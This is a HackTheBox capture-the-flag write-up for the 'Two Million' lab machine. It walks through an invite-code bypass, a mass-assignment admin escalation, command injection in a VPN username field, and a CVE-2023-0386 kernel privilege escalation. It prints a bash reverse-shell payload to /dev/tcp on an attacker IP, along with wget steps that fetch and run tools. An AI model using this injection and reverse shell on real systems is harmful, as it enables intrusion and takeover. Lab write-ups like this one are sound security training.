Sitemap

HackTheBox Writeup — Two Million

7 min readAug 6, 2023
Press enter or click to view image in full size

This box was presented at the Hack The Box on 07 Jun 2023 by TRX & TheCyberGeek

Let’s get started!

Reconnaissance

Run a Nmap scan that scans all ports.

nmap -T4 -A -p- 10.10.11.221

We get the following result.

Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-trane-info: Problem with XML parsing of /evox/about
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have two ports open.

  1. port 22: running OpenSSH 8.9p1
  2. Port 80: Running nginx

Enumeration

Add the hostnames to the /etc/hosts

10.10.11.221     2million.htb

I always start off with enumerating HTTP first.

Port 80

Visit the application in the browser.

Press enter or click to view image in full size

It looks like a Hackthebox page and we can identify a few things, we will have to solve a challenge to get onto the platform — As any platform should do to test learners.

We want to get the invitation code to be able to register!

if we look at the source code we found the inviteapi.min.js file.

open the file and paste the js code into the beautifier.io, we got the following script.

function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}

Notice the makeInviteCode function if we can use this information to get the invitation code.

making a POST request to http://2million.htb/api/v1/invite/how/to/generate using curl.

curl -sq -X POST http://2million.htb/api/v1/invite/how/to/generate | jq .
Press enter or click to view image in full size

trying to encrypt ROT13 data using rot13.com.

we got the following message.

In order to generate the invite code, make a POST request to /api/v1/invite/generate

making a POST request to /api/v1/invite/generate using curl.

curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq .

we got the invitation code but it seems like base64 encoded.

Press enter or click to view image in full size
curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r | base64 -d
Press enter or click to view image in full size

and finally, we got the invitation code :).

trying to register using these credentials.

email:fares@hackthebox.com
password:1234

after login I’ve got access to what looks like the original HackTheBox website:

Press enter or click to view image in full size

It says that the site is performing database migrations, and some features are unavailable. In reality, that means most. The Dashboard, Rules, and Change Log links under “Main” work, and have nice throwback pages to the original HTB.

Under “Labs”, the only link that really works is the “Access” page, which leads to /home/access:

Press enter or click to view image in full size

after clicking on Regenerate it seems like sending a GET request to /api/v1/user/vpn/regenerate API to generate a VPN file.

Press enter or click to view image in full size

I’ll send one of these requests to Burp Repeater and play with the API. /api/v1 returns a description:

Press enter or click to view image in full size

I got the description of the API :

{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}

Enumerate Admin API

Unfortunately, I am not an admin:

Press enter or click to view image in full size

If I try to POST to /api/v1/admin/vpn/generate, it returns 401 Unauthorized:

Press enter or click to view image in full size

However, a PUT request to /api/v1/admin/settings/update doesn’t return 401, but 200, with a different error in the body:

Press enter or click to view image in full size

Get Admin Access

I will further explore the endpoint by making additional requests. Since the server indicated an invalid content type, I will examine the Content-Type header in my request. Upon checking, I noticed that there was no Content-Type header, so I will include one. Considering the website’s preference for JSON, I will set the Content-Type header to ‘application/json’.

after adding content type to JSON I got a different response that said “Missing parameter: email”

Press enter or click to view image in full size

after adding the email parameter I got the message “Missing parameter: is_admin”

Press enter or click to view image in full size

after adding is_admin parameter and setting its value to 1 we have successfully escalated our privileges to admin :).

Press enter or click to view image in full size
Press enter or click to view image in full size

Command Injection

Enumerate generate API

As my account is now an admin, I don’t get a 401 response anymore from /api/v1/admin/vpn/generate:

Press enter or click to view image in full size

I’ll add my username and content type, and it generates a VPN file:

Press enter or click to view image in full size

It appears that the VPN key generation process might not be written in PHP but rather relies on Bash tools to generate the required information for the VPN key.

It is advisable to investigate whether there is any potential command injection vulnerability.

If the server executes a command like genenrate_vpn.sh [username], I will attempt to exploit the vulnerability by inserting a ; in the username, causing it to be treated as a new command. To ensure that any subsequent input is ignored, I will add a # at the end of my input as a comment. Upon testing this approach, I confirm that it successfully exploits the vulnerability.

Press enter or click to view image in full size

It works let's get a reverse shell on the machine.

To get a shell, I’ll start nc listening to my host and putting this bash code instead username.

bash -c 'bash -i >& /dev/tcp/10.10.16.36/4444 0>&1' #'

On sending this, I get a shell at my nc:

enumeration

The web root is in the default location, /var/www/html:

after some enumeration if found .env file in the default location of /var/www/html :

Press enter or click to view image in full size

I found user name and password on it :

this password worked for login as admin using ssh :

Press enter or click to view image in full size

we have got the first flag :).

privilege escalation

running linpeas :

first, install the tool from this GitHub repo.

on the attacker machine run a simple HTTP server using Python like this.

python3 -m http.server 333

install the linpeas using wget on the victim machine.

wget http://machine-ip:333/linpeas.sh
chmod +x linpeas.sh
./linpeas

I found in linpeas output mail application:

Press enter or click to view image in full size
Press enter or click to view image in full size

A search for “linux kernel vulnerability fuse overlayfs” limited to the last year returns a bunch of stuff about CVE-2023–0386:

Press enter or click to view image in full size

I have got the CVE repo here.

Press enter or click to view image in full size

we will install on the Vitim machine with the same process of installing linpeas.

we will run to terminals the first one we will type:

./fuse ./ovlcap/lower ./gc

the second one :

./exp

and we finally got the root :).

Press enter or click to view image in full size
Press enter or click to view image in full size

--

--

No responses yet